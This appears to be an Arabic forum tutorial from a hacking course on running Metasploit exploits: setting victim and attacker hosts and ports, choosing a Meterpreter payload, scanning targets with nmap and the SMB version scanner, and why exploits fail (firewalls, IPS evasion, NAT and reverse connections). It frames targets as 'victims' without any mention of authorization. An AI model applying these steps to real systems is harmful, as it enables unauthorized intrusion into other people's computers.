السلام عليكم ورحمه الله وبركاته
الدرس هذا ما كان بخطة الدوره لكن بعد الاسئله عن كيفيه استغلال الثغره والمشاكل التي تواجها , قررت اكتب هذا الدرس .
على العموم اعتذر على التأخر , لكن الدراسه وما تعمل .
استغلال الثغره اسهل مما تتصور .
بعد ما اخترنا الثغره عن طريق الامر use
بعد ما اخترنا الثغره نكتب show option
بعد ما نظرنا للمتغيرات
راح نجد RHOST
وتعني دائما اي بي الضحيه
ٌRPORT
وتعني دائما بورت الضحيه , غالبا ما انصح بتغييره الا اذا كانت الثغره تعمل على اكثر من بورت
بعدها نضع لكل المتغيرات قيمه .
كود PHP:
set rhost اي بي الضحيه
كود PHP:
set rport بورت الضحيه
كود PHP:
set payload payload na me
نكتب
show options
ظهرت لنا خيارات جديده وهي خيارات payload
LHOST وتعني ip المهاجم ,
LPORT وتعني بورت المهاجم
كود PHP:
set lhost اي بي المهاجم
كود PHP:
set lport بورت المهاجم
ثم اخر شيء نكتب exploit
ونشغل الثغره
ما اتوقع ان في اداه استغلالها اسهل من هذا , حتى البايزون التعامل معه اصعب
1- نختار الثغره
كود PHP:
use windows/smb/smb
2- ننظر الى متطلبات الثغره
كود PHP:
show option
3- نضع القيم للمتغيرات
كود PHP:
set المتغير Abc
كود PHP:
set payload windows/meterpreter
5- نضع المتغيرات للـ payload
كود PHP:
set المتغير abc
6- نستغل الثغره
كود PHP:
exploit
استغلينا الثغره هل اخترقنا الضحيه ؟!
اذا قال عندك sessions open
عندك ضحيه , اذا ما قالها , يعني ما حصل شيء ,
طيب كيف نستغل الثغره ونعرف انها شغالها , عن طريق الفحص , افحص ضحيتك قبل الهجوم ,
وقبل تفحص ضحيتك , اجمع معلومات عنه .
عندك nmap nessus او amap , لا تهجم قبل تتأكد من ان البورت مفتوح وان النظام معروف
ممكن تخمن النظام عن طريق nmap ويعطيك النظام المتوقع , لكن اذا كان خدمه smb
شغاله , ففي هذه الحاله نقدر نعرف النظام 100 %
عن طريق الميتاسبلويت مثال :
كود PHP:
msf > use auxiliary/scanner/smb/version
msf auxiliary(version) > set rhosts 192.168.1.2
rhosts => 192.168.1.2
msf auxiliary(version) > run
[*] 192.168.1.2 is running Windows Vista Ultimate Service Pack 1 (********: Unknown) (****:BANDAR-PC) (domain:WORKGROUP)
msf auxiliary(version) >
لكن خلونا نروح للـ nmap
كود PHP:
msf auxiliary(version) > nmap -PN 192.168.1.2 -p 445 -O[*] exec: nmap -PN 192.168.1.2 -p 445 -O
Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-15 05:45 EST
Interesting ports on 192.168.1.2:
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:1D:60:64:06:EC (Asustek Computer)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008
OS details: Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.62 seconds
عرفنا كيف نختار الثغره اذا كانت ريموت ,
اذا كان الضحيه ما عنده بورت مفتوح ؟!
نروح لتغرات client-side attacks ,
80 % من النوعيه هذي ناجحه , واذا رجعت لهذه الثغرات راح تخترق , مثل تغرات المتصفح
طيب لو ما اشتغلت هذه الثغرات ,,
تأكد من الخيارات من جديد , تأكد انك وضعت جميع القيم للمتغيرات
خارج الايطار : شغل اداه tcpdump لتعرف ان ادواتك شغاله , مثلا لو استغلينا الثغره والميتاسبلويت توقف فجأه او صار اي شيء , راح تكون مراقب الترافيك وتعرف ,
صراحه انا صارت معي مشكله مع nmap فحص جهاز واخذت ساعه وربع وانا انتظر ,
nmap توقف فجأه وانا ما ادري , اخذت انتظر ثم شغلت tcpdump وعرفت ان الـ nmap
متوقف, لذلك من الافضل قبل تسوي اي هجوم شغل tcpdump لتعرف ان ادواتك شغاله على الوجه الصحيح
المهم نرجع لاهم الاسباب في فشل استغلال الثغرات
1- الضحيه لا يستخدم البرنامج المصاب
بعض المرات يكون البرنامج غير موجود وهذه ليست بالمشكله فهنالك العشرات من الثغرات النختلفه .
2- الجدار الناري يحجب الوصول الى البورت
بعض البورتات تكون محجوبه وبعضها لا , مثل تغرات SMB تستخدم اكثر من بورت
لذلك حاول تغير بين البورتات .
3- هنالك من يكشف الثغره ويقوم بحجبها مثل IPS
من الصعب التعامل مع هذه المشكله لكن الافضل هو التعامل مع evasion في الميتاسبلويت
ولا انصح المبتدأ التعامل معها
4- الضحيه ممكن يكون قابل للاستغلال الثغره لكن لم تستغل
هذه المشكله نادرا ما تحدث , وهي عندما تستغل الثغره , ممكن يصير شيء غير متوقع
وهي مثلا يصير له هانق "يهنق" او مثلا يعيد التشغيل
مره كنت اختبر ثغره جديده , الجهاز لي ما كان لأحد بمعنى اخر اختبر الثغره على جهازي
جهازي ما حدثته يعني الثغره لازم تشتغل , استغليت الثغره , وفجأه الجهاز وقف عن العمل لذلك
لذلك ممكن بعض المرات تواجهك هذه المشكله
5- الجهاز خلف nat
هذا اصبح معروف , جميع الاجهزه خلف نات , مافيه اي شخص الا ويستخدم مودم
لذلك يجب التأكد ان البورت مفتوح وايضا تأكد ان تستخدم اتصال عكسي .
{[['
']]}
']]}